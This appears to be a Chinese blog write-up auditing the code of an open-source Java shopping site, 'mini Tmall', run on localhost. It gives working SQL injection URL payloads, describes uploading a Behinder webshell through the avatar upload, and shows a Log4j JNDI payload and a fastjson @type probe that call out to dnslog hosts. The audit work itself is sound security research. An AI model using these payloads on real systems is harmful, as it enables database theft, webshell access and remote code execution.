Java代码审计之迷你天猫商城
SQL注入
前台SQL注入
通过观察pom.xml引入的依赖可看到引入了极可能产生SQL注入的mybatis,可能产生SQL注入的点就是在使用${}对参数进行接受时,如果没有编写特定的filter过滤器就会导致存在SQL注入,全局搜索${}
一个一个来看,第一个漏洞点。
需要传入的是${orderUtil.orderBy},按照调用的规则在dao层下存在同名java文件调用
看到OrderUtil,和我们传入的${orderUtil.orderBy}是一个,跟进去看下函数。
有两种传参数方式,传入一个orderBy或者多传入一个排序的参数isDesc,这个参数默认是true,接下来就去看哪里调用了orderBy。发现后台调用的很多,找到一个在前台调用的,通过RequestParam传入,红框下面的那一行代码确定了isDesc这个参数默认为true。所以可以使用上图的一个参数的构造方法。
需要注意下的地方,随便传入两个数字即可,然后后面跟oderBy参数
Payload
[http://localhost:8088/tmall/product/1/2/?orderBy=1%20and%20(select%20extractvalue(%220x7e%22,concat(%27~%27,(select%20database())))a)](http://localhost:8088/tmall/product/1/2/?orderBy=1 and (select extractvalue(“0x7e”,concat(‘~’,(select database())))a))
但是存在的问题就是在前端页面并不能显示出database(),但是语句是正常执行了的
尝试构造时间注入payload如下。或者直接使用sqlmap跑也是可以的,我这里就只贴出来paylaod
[http://localhost:8088/tmall/product/1/2/?orderBy=1%20AND%20(SELECT%204088%20FROM%20(SELECT(SLEEP(2)))a)](http://localhost:8088/tmall/product/1/2/?orderBy=1 AND (SELECT 4088 FROM (SELECT(SLEEP(2)))a))
后台SQL注入
大致利用相似只不过一个是前台一个是后台。
登陆一下换个payload直接一把梭了。
Payload
[http://localhost:8088/tmall/admin/product/1/2/?orderBy=1%20AND%20(SELECT%204088%20FROM%20(SELECT(SLEEP(2)))a)](http://localhost:8088/tmall/admin/product/1/2/?orderBy=1 AND (SELECT 4088 FROM (SELECT(SLEEP(2)))a))
文件上传漏洞
这个漏洞点首先发现在管理员权限下,在上面找SQL注入的时候发现的Src\main\java\com\xq\tmall\controller\admin\ProductController.java
通过logger.info()获取了上传文件的文件名,下面也没有对其上传文件做过滤,猜测存在文件上传,不过在这个地方测试时候出现问题一直报500错误,索性直接去看是否有别的上传点。发现在前端也存在类似语句
普通用户修改头像处。尝试利用。直接传入了冰蝎马
成功上传冰蝎也成功链接
Log4j命令执行
在上面看到获取上传文件名时是通过logger.info()来进行获取的相关漏洞原理
https://baijiahao.baidu.com/s?id=1719021490573494135&wfr=spider&for=pc
代码中会通过looger.info()获取文件名
filename可控就可能导致存在log4j漏洞。
Paylaod
${jndi:ldap://1bf6dba2.dnslog.xvnming.org.cn/exp}.jsp
通过DNS测试成功得到了请求包,存在log4j漏洞。
fastjson反序列化漏洞
对这个fastjson漏洞前段时间看过一点,相对于别的反序列化来说fastjson反序列化有着其独特的方式,不再依靠serialize和unserialize来对对象进行序列化和反序列化的操作,而是通过jndi注入的方式实现RCE。fastjson的序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象。fastjson在反序列化的时候有两个api,一个是JSON.parseObject(),另一个是JSON.parse()。这两个有什么区别,JSON.parseObject()获得的是JSONObject,而JSON.parse()获得的是实际类的对象,当在没有对应类的定义的情况下,通常情况下都会使用JSON.parseObject来获取数据。全局搜索JSON.parseObject
路径如下
需要管理员权限
抓包然后看传入的参数
可以在propertyAddJson或propertyUpdateJson处构造反序列化payload
{“@type”:”java.net.Inet4Address”,”val”:”0052a044.dnslog.xvnming.org.cn”}
前台XSS
前台搜索框处存在xss